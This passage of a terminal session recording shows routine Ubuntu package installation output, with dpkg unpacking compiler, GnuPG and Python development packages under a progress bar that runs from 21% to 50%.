[45.069597, "o", "Unpacking cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[45.145735, "o", "Selecting previously unselected package cpp.\r\n"]
[45.147443, "o", "Preparing to unpack .../033-cpp_4%3a13.2.0-7ubuntu1_amd64.deb ..."]
[45.148408, "o", "\r\n"]
[45.19882, "o", "Unpacking cpp (4:13.2.0-7ubuntu1) ...\r\n"]
[45.293776, "o", "Selecting previously unselected package libcc1-0:amd64.\r\nPreparing to unpack .../034-libcc1-0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 21%]\u001b[49m\u001b[39m [#######################################.....................................................................................................................................................] \u001b8"]
[45.305094, "o", "Unpacking libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[45.357917, "o", "Selecting previously unselected package libgomp1:amd64."]
[45.362381, "o", "\r\n"]
[45.376467, "o", "Preparing to unpack .../035-libgomp1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[45.38777, "o", "Unpacking libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[45.488907, "o", "Selecting previously unselected package libitm1:amd64.\r\n"]
[45.492355, "o", "Preparing to unpack .../036-libitm1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[45.505287, "o", "Unpacking libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[45.615348, "o", "Selecting previously unselected package libatomic1:amd64.\r\nPreparing to unpack .../037-libatomic1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[45.616984, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 22%]\u001b[49m\u001b[39m [#########################################...................................................................................................................................................] \u001b8"]
[45.632922, "o", "Unpacking libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[45.758305, "o", "Selecting previously unselected package libasan8:amd64.\r\n"]
[45.760606, "o", "Preparing to unpack .../038-libasan8_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[45.766774, "o", "Unpacking libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[46.057778, "o", "Selecting previously unselected package liblsan0:amd64.\r\nPreparing to unpack .../039-liblsan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[46.062078, "o", "Unpacking liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[46.170986, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 23%]\u001b[49m\u001b[39m [###########################################.................................................................................................................................................] \u001b8"]
[46.257926, "o", "Selecting previously unselected package libtsan2:amd64.\r\n"]
[46.259052, "o", "Preparing to unpack .../040-libtsan2_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[46.266738, "o", "Unpacking libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[46.503485, "o", "Selecting previously unselected package libubsan1:amd64.\r\n"]
[46.508441, "o", "Preparing to unpack .../041-libubsan1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[46.524523, "o", "Unpacking libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[46.685343, "o", "Selecting previously unselected package libhwasan0:amd64.\r\n"]
[46.688859, "o", "Preparing to unpack .../042-libhwasan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[46.701776, "o", "Unpacking libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[46.778616, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 24%]\u001b[49m\u001b[39m [#############################################...............................................................................................................................................] \u001b8"]
[46.849223, "o", "Selecting previously unselected package libquadmath0:amd64.\r\nPreparing to unpack .../043-libquadmath0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[46.861992, "o", "Unpacking libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[46.974017, "o", "Selecting previously unselected package libgcc-13-dev:amd64.\r\n"]
[46.977724, "o", "Preparing to unpack .../044-libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[46.993834, "o", "Unpacking libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[47.376124, "o", "Selecting previously unselected package gcc-13-x86-64-linux-gnu."]
[47.377702, "o", "\r\n"]
[47.380399, "o", "Preparing to unpack .../045-gcc-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[47.394861, "o", "Unpacking gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[47.928776, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 25%]\u001b[49m\u001b[39m [###############################################.............................................................................................................................................] \u001b8"]
[47.992149, "o", "Selecting previously unselected package gcc-13.\r\nPreparing to unpack .../046-gcc-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[48.002863, "o", "Unpacking gcc-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[48.085965, "o", "Selecting previously unselected package gcc-x86-64-linux-gnu.\r\n"]
[48.087348, "o", "Preparing to unpack .../047-gcc-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[48.100529, "o", "Unpacking gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[48.189737, "o", "Selecting previously unselected package gcc.\r\nPreparing to unpack .../048-gcc_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[48.191754, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 26%]\u001b[49m\u001b[39m [################################################............................................................................................................................................] \u001b8"]
[48.201956, "o", "Unpacking gcc (4:13.2.0-7ubuntu1) ...\r\n"]
[48.259203, "o", "Selecting previously unselected package libstdc++-13-dev:amd64."]
[48.259985, "o", "\r\n"]
[48.261379, "o", "Preparing to unpack .../049-libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[48.269279, "o", "Unpacking libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[48.848568, "o", "Selecting previously unselected package g++-13-x86-64-linux-gnu.\r\n"]
[48.854437, "o", "Preparing to unpack .../050-g++-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[48.866558, "o", "Unpacking g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[49.791264, "o", "Selecting previously unselected package g++-13.\r\n"]
[49.797009, "o", "Preparing to unpack .../051-g++-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 27%]\u001b[49m\u001b[39m [##################################################..........................................................................................................................................] "]
[49.799533, "o", "\u001b8"]
[49.812119, "o", "Unpacking g++-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[49.887894, "o", "Selecting previously unselected package g++-x86-64-linux-gnu.\r\nPreparing to unpack .../052-g++-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[49.895777, "o", "Unpacking g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[50.015685, "o", "Selecting previously unselected package g++.\r\nPreparing to unpack .../053-g++_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[50.030421, "o", "Unpacking g++ (4:13.2.0-7ubuntu1) ...\r\n"]
[50.114672, "o", "Selecting previously unselected package make.\r\n"]
[50.120658, "o", "Preparing to unpack .../054-make_4.3-4.1build2_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 28%]\u001b[49m\u001b[39m [####################################################........................................................................................................................................] \u001b8"]
[50.136561, "o", "Unpacking make (4.3-4.1build2) ...\r\n"]
[50.235778, "o", "Selecting previously unselected package libdpkg-perl.\r\nPreparing to unpack .../055-libdpkg-perl_1.22.6ubuntu6.5_all.deb ...\r\n"]
[50.248924, "o", "Unpacking libdpkg-perl (1.22.6ubuntu6.5) ...\r\n"]
[50.419891, "o", "Selecting previously unselected package bzip2.\r\nPreparing to unpack .../056-bzip2_1.0.8-5.1build0.1_amd64.deb ...\r\n"]
[50.43524, "o", "Unpacking bzip2 (1.0.8-5.1build0.1) ...\r\n"]
[50.519657, "o", "Selecting previously unselected package patch.\r\nPreparing to unpack .../057-patch_2.7.6-7build3_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 29%]\u001b[49m\u001b[39m [######################################################......................................................................................................................................] \u001b8"]
[50.535595, "o", "Unpacking patch (2.7.6-7build3) ...\r\n"]
[50.635017, "o", "Selecting previously unselected package lto-disabled-list.\r\nPreparing to unpack .../058-lto-disabled-list_47_all.deb ...\r\n"]
[50.641742, "o", "Unpacking lto-disabled-list (47) ...\r\n"]
[50.738929, "o", "Selecting previously unselected package dpkg-dev.\r\n"]
[50.745648, "o", "Preparing to unpack .../059-dpkg-dev_1.22.6ubuntu6.5_all.deb ...\r\n"]
[50.755296, "o", "Unpacking dpkg-dev (1.22.6ubuntu6.5) ...\r\n"]
[50.830512, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 30%]\u001b[49m\u001b[39m [########################################################....................................................................................................................................] \u001b8"]
[50.880263, "o", "Selecting previously unselected package build-essential.\r\n"]
[50.882438, "o", "Preparing to unpack .../060-build-essential_12.10ubuntu1_amd64.deb ...\r\n"]
[50.897959, "o", "Unpacking build-essential (12.10ubuntu1) ...\r\n"]
[51.012053, "o", "Selecting previously unselected package gpgconf.\r\nPreparing to unpack .../061-gpgconf_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[51.025556, "o", "Unpacking gpgconf (2.4.4-2ubuntu17.4) ...\r\n"]
[51.123284, "o", "Selecting previously unselected package libksba8:amd64."]
[51.124594, "o", "\r\n"]
[51.1283, "o", "Preparing to unpack .../062-libksba8_1.6.6-1build1_amd64.deb ...\r\n"]
[51.141318, "o", "Unpacking libksba8:amd64 (1.6.6-1build1) ...\r\n"]
[51.171508, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 31%]\u001b[49m\u001b[39m [##########################################################..................................................................................................................................] \u001b8"]
[51.218971, "o", "Selecting previously unselected package libsasl2-modules-db:amd64.\r\n"]
[51.224059, "o", "Preparing to unpack .../063-libsasl2-modules-db_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ..."]
[51.226997, "o", "\r\n"]
[51.238231, "o", "Unpacking libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[51.334865, "o", "Selecting previously unselected package libsasl2-2:amd64."]
[51.337365, "o", "\r\n"]
[51.339751, "o", "Preparing to unpack .../064-libsasl2-2_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ...\r\n"]
[51.351095, "o", "Unpacking libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[51.444438, "o", "Selecting previously unselected package libldap2:amd64.\r\n"]
[51.447583, "o", "Preparing to unpack .../065-libldap2_2.6.10+dfsg-0ubuntu0.24.04.1_amd64.deb ..."]
[51.450319, "o", "\r\n"]
[51.461407, "o", "Unpacking libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[51.494796, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 32%]\u001b[49m\u001b[39m [############################################################................................................................................................................................] \u001b8"]
[51.586598, "o", "Selecting previously unselected package dirmngr.\r\nPreparing to unpack .../066-dirmngr_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[51.66294, "o", "Unpacking dirmngr (2.4.4-2ubuntu17.4) ...\r\n"]
[51.784139, "o", "Selecting previously unselected package libfakeroot:amd64.\r\n"]
[51.78979, "o", "Preparing to unpack .../067-libfakeroot_1.33-1_amd64.deb ..."]
[51.797931, "o", "\r\n"]
[51.805358, "o", "Unpacking libfakeroot:amd64 (1.33-1) ...\r\n"]
[51.909517, "o", "Selecting previously unselected package fakeroot.\r\n"]
[51.915552, "o", "Preparing to unpack .../068-fakeroot_1.33-1_amd64.deb ...\r\n"]
[51.931706, "o", "Unpacking fakeroot (1.33-1) ...\r\n"]
[51.975715, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 33%]\u001b[49m\u001b[39m [##############################################################..............................................................................................................................] \u001b8"]
[52.018616, "o", "Selecting previously unselected package fonts-dejavu-mono.\r\nPreparing to unpack .../069-fonts-dejavu-mono_2.37-8_all.deb ...\r\n"]
[52.031655, "o", "Unpacking fonts-dejavu-mono (2.37-8) ...\r\n"]
[52.177515, "o", "Selecting previously unselected package fonts-dejavu-core.\r\n"]
[52.184407, "o", "Preparing to unpack .../070-fonts-dejavu-core_2.37-8_all.deb ..."]
[52.18765, "o", "\r\n"]
[52.297309, "o", "Unpacking fonts-dejavu-core (2.37-8) ...\r\n"]
[52.469713, "o", "Selecting previously unselected package fontconfig-config.\r\n"]
[52.472182, "o", "Preparing to unpack .../071-fontconfig-config_2.15.0-1.1ubuntu2_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 34%]\u001b[49m\u001b[39m [###############################################################.............................................................................................................................] \u001b8"]
[53.310472, "o", "Unpacking fontconfig-config (2.15.0-1.1ubuntu2) ...\r\n"]
[53.421681, "o", "Selecting previously unselected package gnupg-utils.\r\nPreparing to unpack .../072-gnupg-utils_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[53.435455, "o", "Unpacking gnupg-utils (2.4.4-2ubuntu17.4) ...\r\n"]
[53.539846, "o", "Selecting previously unselected package gpg.\r\n"]
[53.543823, "o", "Preparing to unpack .../073-gpg_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[53.554193, "o", "Unpacking gpg (2.4.4-2ubuntu17.4) ...\r\n"]
[53.684442, "o", "Selecting previously unselected package pinentry-curses.\r\n"]
[53.690065, "o", "Preparing to unpack .../074-pinentry-curses_1.2.1-3ubuntu5_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 35%]\u001b[49m\u001b[39m [#################################################################...........................................................................................................................] \u001b8"]
[53.698309, "o", "Unpacking pinentry-curses (1.2.1-3ubuntu5) ...\r\n"]
[53.756565, "o", "Selecting previously unselected package gpg-agent.\r\n"]
[53.758512, "o", "Preparing to unpack .../075-gpg-agent_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[53.779522, "o", "Unpacking gpg-agent (2.4.4-2ubuntu17.4) ...\r\n"]
[53.891363, "o", "Selecting previously unselected package gpgsm."]
[53.893492, "o", "\r\n"]
[53.898543, "o", "Preparing to unpack .../076-gpgsm_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[53.913506, "o", "Unpacking gpgsm (2.4.4-2ubuntu17.4) ...\r\n"]
[54.032579, "o", "Selecting previously unselected package keyboxd.\r\nPreparing to unpack .../077-keyboxd_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[54.038839, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 36%]\u001b[49m\u001b[39m [###################################################################.........................................................................................................................] \u001b8"]
[54.049427, "o", "Unpacking keyboxd (2.4.4-2ubuntu17.4) ...\r\n"]
[54.131382, "o", "Selecting previously unselected package gnupg.\r\nPreparing to unpack .../078-gnupg_2.4.4-2ubuntu17.4_all.deb ...\r\n"]
[54.14284, "o", "Unpacking gnupg (2.4.4-2ubuntu17.4) ...\r\n"]
[54.237135, "o", "Selecting previously unselected package gnupg-l10n.\r\n"]
[54.24226, "o", "Preparing to unpack .../079-gnupg-l10n_2.4.4-2ubuntu17.4_all.deb ...\r\n"]
[54.256305, "o", "Unpacking gnupg-l10n (2.4.4-2ubuntu17.4) ...\r\n"]
[54.330051, "o", "Selecting previously unselected package gpg-wks-client.\r\nPreparing to unpack .../080-gpg-wks-client_2.4.4-2ubuntu17.4_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 37%]\u001b[49m\u001b[39m [#####################################################################.......................................................................................................................] \u001b8"]
[54.34899, "o", "Unpacking gpg-wks-client (2.4.4-2ubuntu17.4) ...\r\n"]
[54.468497, "o", "Selecting previously unselected package javascript-common.\r\n"]
[54.473781, "o", "Preparing to unpack .../081-javascript-common_11+nmu1_all.deb ...\r\n"]
[54.525257, "o", "Unpacking javascript-common (11+nmu1) ..."]
[54.527354, "o", "\r\n"]
[54.621609, "o", "Selecting previously unselected package libalgorithm-diff-perl.\r\nPreparing to unpack .../082-libalgorithm-diff-perl_1.201-1_all.deb ...\r\n"]
[54.634997, "o", "Unpacking libalgorithm-diff-perl (1.201-1) ...\r\n"]
[54.656196, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 38%]\u001b[49m\u001b[39m [#######################################################################.....................................................................................................................] \u001b8"]
[54.970343, "o", "Selecting previously unselected package libalgorithm-diff-xs-perl:amd64.\r\n"]
[54.972975, "o", "Preparing to unpack .../083-libalgorithm-diff-xs-perl_0.04-8build3_amd64.deb ...\r\n"]
[55.168252, "o", "Unpacking libalgorithm-diff-xs-perl:amd64 (0.04-8build3) ...\r\n"]
[55.653344, "o", "Selecting previously unselected package libalgorithm-merge-perl.\r\n"]
[55.65729, "o", "Preparing to unpack .../084-libalgorithm-merge-perl_0.08-5_all.deb ...\r\n"]
[55.671937, "o", "Unpacking libalgorithm-merge-perl (0.08-5) ...\r\n"]
[55.796825, "o", "Selecting previously unselected package libaom3:amd64.\r\n"]
[55.80321, "o", "Preparing to unpack .../085-libaom3_3.8.2-2ubuntu0.1_amd64.deb ...\r\n"]
[55.820576, "o", "Unpacking libaom3:amd64 (3.8.2-2ubuntu0.1) ...\r\n"]
[56.06628, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 39%]\u001b[49m\u001b[39m [#########################################################################...................................................................................................................] \u001b8"]
[56.14228, "o", "Selecting previously unselected package libbrotli1:amd64.\r\n"]
[56.14361, "o", "Preparing to unpack .../086-libbrotli1_1.1.0-2build2_amd64.deb ...\r\n"]
[56.157027, "o", "Unpacking libbrotli1:amd64 (1.1.0-2build2) ...\r\n"]
[56.258796, "o", "Selecting previously unselected package libfreetype6:amd64.\r\nPreparing to unpack .../087-libfreetype6_2.13.2+dfsg-1ubuntu0.1_amd64.deb ...\r\n"]
[56.273902, "o", "Unpacking libfreetype6:amd64 (2.13.2+dfsg-1ubuntu0.1) ...\r\n"]
[56.397738, "o", "Selecting previously unselected package libfontconfig1:amd64.\r\n"]
[56.401492, "o", "Preparing to unpack .../088-libfontconfig1_2.15.0-1.1ubuntu2_amd64.deb ...\r\n"]
[56.416791, "o", "Unpacking libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ...\r\n"]
[56.454824, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 40%]\u001b[49m\u001b[39m [###########################################################################.................................................................................................................] \u001b8"]
[56.51869, "o", "Selecting previously unselected package libsharpyuv0:amd64.\r\n"]
[56.522051, "o", "Preparing to unpack .../089-libsharpyuv0_1.3.2-0.4build3_amd64.deb ...\r\n"]
[56.534011, "o", "Unpacking libsharpyuv0:amd64 (1.3.2-0.4build3) ...\r\n"]
[56.63153, "o", "Selecting previously unselected package libheif-plugin-aomdec:amd64.\r\nPreparing to unpack .../090-libheif-plugin-aomdec_1.17.6-1ubuntu4.2_amd64.deb ...\r\n"]
[56.647003, "o", "Unpacking libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[56.75032, "o", "Selecting previously unselected package libde265-0:amd64.\r\n"]
[56.756238, "o", "Preparing to unpack .../091-libde265-0_1.0.15-1build3_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 41%]\u001b[49m\u001b[39m [#############################################################################...............................................................................................................] \u001b8"]
[56.774987, "o", "Unpacking libde265-0:amd64 (1.0.15-1build3) ...\r\n"]
[56.852037, "o", "Selecting previously unselected package libheif-plugin-libde265:amd64.\r\n"]
[56.855697, "o", "Preparing to unpack .../092-libheif-plugin-libde265_1.17.6-1ubuntu4.2_amd64.deb ...\r\n"]
[56.866376, "o", "Unpacking libheif-plugin-libde265:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[56.961826, "o", "Selecting previously unselected package libheif1:amd64.\r\n"]
[56.967213, "o", "Preparing to unpack .../093-libheif1_1.17.6-1ubuntu4.2_amd64.deb ...\r\n"]
[56.982092, "o", "Unpacking libheif1:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[57.103891, "o", "Selecting previously unselected package libjpeg-turbo8:amd64.\r\nPreparing to unpack .../094-libjpeg-turbo8_2.1.5-2ubuntu2_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 42%]\u001b[49m\u001b[39m"]
[57.107748, "o", " [###############################################################################.............................................................................................................] \u001b8"]
[57.111392, "o", "Unpacking libjpeg-turbo8:amd64 (2.1.5-2ubuntu2) ...\r\n"]
[57.273137, "o", "Selecting previously unselected package libjpeg8:amd64.\r\n"]
[57.276383, "o", "Preparing to unpack .../095-libjpeg8_8c-2ubuntu11_amd64.deb ..."]
[57.279024, "o", "\r\n"]
[57.292897, "o", "Unpacking libjpeg8:amd64 (8c-2ubuntu11) ...\r\n"]
[57.390081, "o", "Selecting previously unselected package libdeflate0:amd64.\r\n"]
[57.391799, "o", "Preparing to unpack .../096-libdeflate0_1.19-1build1.1_amd64.deb ...\r\n"]
[57.407995, "o", "Unpacking libdeflate0:amd64 (1.19-1build1.1) ..."]
[57.410851, "o", "\r\n"]
[57.521875, "o", "Selecting previously unselected package libjbig0:amd64.\r\nPreparing to unpack .../097-libjbig0_2.1-6.1ubuntu2_amd64.deb ...\r\n"]
[57.524672, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 43%]\u001b[49m\u001b[39m [#################################################################################...........................................................................................................] \u001b8"]
[57.539855, "o", "Unpacking libjbig0:amd64 (2.1-6.1ubuntu2) ...\r\n"]
[57.617993, "o", "Selecting previously unselected package liblerc4:amd64.\r\n"]
[57.621587, "o", "Preparing to unpack .../098-liblerc4_4.0.0+ds-4ubuntu2_amd64.deb ...\r\n"]
[57.634272, "o", "Unpacking liblerc4:amd64 (4.0.0+ds-4ubuntu2) ...\r\n"]
[57.775783, "o", "Selecting previously unselected package libwebp7:amd64."]
[57.779037, "o", "\r\n"]
[57.782675, "o", "Preparing to unpack .../099-libwebp7_1.3.2-0.4build3_amd64.deb ..."]
[57.784338, "o", "\r\n"]
[57.800832, "o", "Unpacking libwebp7:amd64 (1.3.2-0.4build3) ...\r\n"]
[57.908989, "o", "Selecting previously unselected package libtiff6:amd64.\r\nPreparing to unpack .../100-libtiff6_4.5.1+git230720-4ubuntu2.5_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 44%]\u001b[49m\u001b[39m [###################################################################################.........................................................................................................] \u001b8"]
[57.922007, "o", "Unpacking libtiff6:amd64 (4.5.1+git230720-4ubuntu2.5) ...\r\n"]
[58.029322, "o", "Selecting previously unselected package libxpm4:amd64.\r\nPreparing to unpack .../101-libxpm4_1%3a3.5.17-1build2_amd64.deb ...\r\n"]
[58.043014, "o", "Unpacking libxpm4:amd64 (1:3.5.17-1build2) ...\r\n"]
[58.157398, "o", "Selecting previously unselected package libgd3:amd64.\r\n"]
[58.160543, "o", "Preparing to unpack .../102-libgd3_2.3.3-9ubuntu5_amd64.deb ...\r\n"]
[58.170918, "o", "Unpacking libgd3:amd64 (2.3.3-9ubuntu5) ...\r\n"]
[58.20468, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 45%]\u001b[49m\u001b[39m [####################################################################################........................................................................................................] \u001b8"]
[58.259567, "o", "Selecting previously unselected package libc-devtools.\r\n"]
[58.261, "o", "Preparing to unpack .../103-libc-devtools_2.39-0ubuntu8.7_amd64.deb ...\r\n"]
[58.269538, "o", "Unpacking libc-devtools (2.39-0ubuntu8.7) ...\r\n"]
[58.349102, "o", "Selecting previously unselected package libexpat1-dev:amd64.\r\n"]
[58.358874, "o", "Preparing to unpack .../104-libexpat1-dev_2.6.1-2ubuntu0.4_amd64.deb ...\r\n"]
[58.369488, "o", "Unpacking libexpat1-dev:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[58.507384, "o", "Selecting previously unselected package libfile-fcntllock-perl.\r\nPreparing to unpack .../105-libfile-fcntllock-perl_0.22-4ubuntu5_amd64.deb ...\r\n"]
[58.519085, "o", "Unpacking libfile-fcntllock-perl (0.22-4ubuntu5) ...\r\n"]
[58.553891, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 46%]\u001b[49m\u001b[39m [######################################################################################......................................................................................................] \u001b8"]
[58.620464, "o", "Selecting previously unselected package libheif-plugin-aomenc:amd64.\r\nPreparing to unpack .../106-libheif-plugin-aomenc_1.17.6-1ubuntu4.2_amd64.deb ..."]
[58.623574, "o", "\r\n"]
[58.640493, "o", "Unpacking libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[58.754777, "o", "Selecting previously unselected package libjs-jquery.\r\n"]
[58.755884, "o", "Preparing to unpack .../107-libjs-jquery_3.6.1+dfsg+~3.5.14-1_all.deb ...\r\n"]
[58.798056, "o", "Unpacking libjs-jquery (3.6.1+dfsg+~3.5.14-1) ...\r\n"]
[58.912545, "o", "Selecting previously unselected package libjs-underscore.\r\n"]
[58.918281, "o", "Preparing to unpack .../108-libjs-underscore_1.13.4~dfsg+~1.11.4-3_all.deb ..."]
[58.921459, "o", "\r\n"]
[58.933938, "o", "Unpacking libjs-underscore (1.13.4~dfsg+~1.11.4-3) ...\r\n"]
[58.968948, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 47%]\u001b[49m\u001b[39m [########################################################################################....................................................................................................] \u001b8"]
[59.013306, "o", "Selecting previously unselected package libjs-sphinxdoc."]
[59.013463, "o", "\r\n"]
[59.019926, "o", "Preparing to unpack .../109-libjs-sphinxdoc_7.2.6-6_all.deb ...\r\n"]
[59.032768, "o", "Unpacking libjs-sphinxdoc (7.2.6-6) ...\r\n"]
[59.136238, "o", "Selecting previously unselected package libldap-common.\r\nPreparing to unpack .../110-libldap-common_2.6.10+dfsg-0ubuntu0.24.04.1_all.deb ...\r\n"]
[59.148788, "o", "Unpacking libldap-common (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[59.249024, "o", "Selecting previously unselected package libpython3.12t64:amd64.\r\nPreparing to unpack .../111-libpython3.12t64_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[59.257018, "o", "Unpacking libpython3.12t64:amd64 (3.12.3-1ubuntu0.12) ..."]
[59.260767, "o", "\r\n"]
[59.594209, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 48%]\u001b[49m\u001b[39m [##########################################################################################..................................................................................................] \u001b8"]
[59.653897, "o", "Selecting previously unselected package zlib1g-dev:amd64.\r\n"]
[59.657573, "o", "Preparing to unpack .../112-zlib1g-dev_1%3a1.3.dfsg-3.1ubuntu2.1_amd64.deb ...\r\n"]
[59.67196, "o", "Unpacking zlib1g-dev:amd64 (1:1.3.dfsg-3.1ubuntu2.1) ...\r\n"]
[59.803338, "o", "Selecting previously unselected package libpython3.12-dev:amd64.\r\nPreparing to unpack .../113-libpython3.12-dev_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[59.814324, "o", "Unpacking libpython3.12-dev:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[60.854584, "o", "Selecting previously unselected package libpython3-dev:amd64.\r\nPreparing to unpack .../114-libpython3-dev_3.12.3-0ubuntu2.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 49%]\u001b[49m\u001b[39m [############################################################################################................................................................................................] \u001b8"]
[60.862585, "o", "Unpacking libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[60.99, "o", "Selecting previously unselected package libsasl2-modules:amd64.\r\n"]
[60.99384, "o", "Preparing to unpack .../115-libsasl2-modules_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ..."]
[60.996927, "o", "\r\n"]
[61.041844, "o", "Unpacking libsasl2-modules:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[61.137655, "o", "Selecting previously unselected package manpages-dev.\r\n"]
[61.139048, "o", "Preparing to unpack .../116-manpages-dev_6.7-2_all.deb ...\r\n"]
[61.151776, "o", "Unpacking manpages-dev (6.7-2) ...\r\n"]
[61.41602, "o", "Selecting previously unselected package python3.12-dev.\r\nPreparing to unpack .../117-python3.12-dev_3.12.3-1ubuntu0.12_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 50%]\u001b[49m\u001b[39m [##############################################################################################..............................................................................................] \u001b8"]
[61.435838, "o", "Unpacking python3.12-dev (3.12.3-1ubuntu0.12) ...\r\n"]
[61.555448, "o", "Selecting previously unselected package python3-dev.\r\nPreparing to unpack .../118-python3-dev_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[61.571987, "o", "Unpacking python3-dev (3.12.3-0ubuntu2.1) ...\r\n"]
[61.667686, "o", "Selecting previously unselected package python3-setuptools.\r\n"]
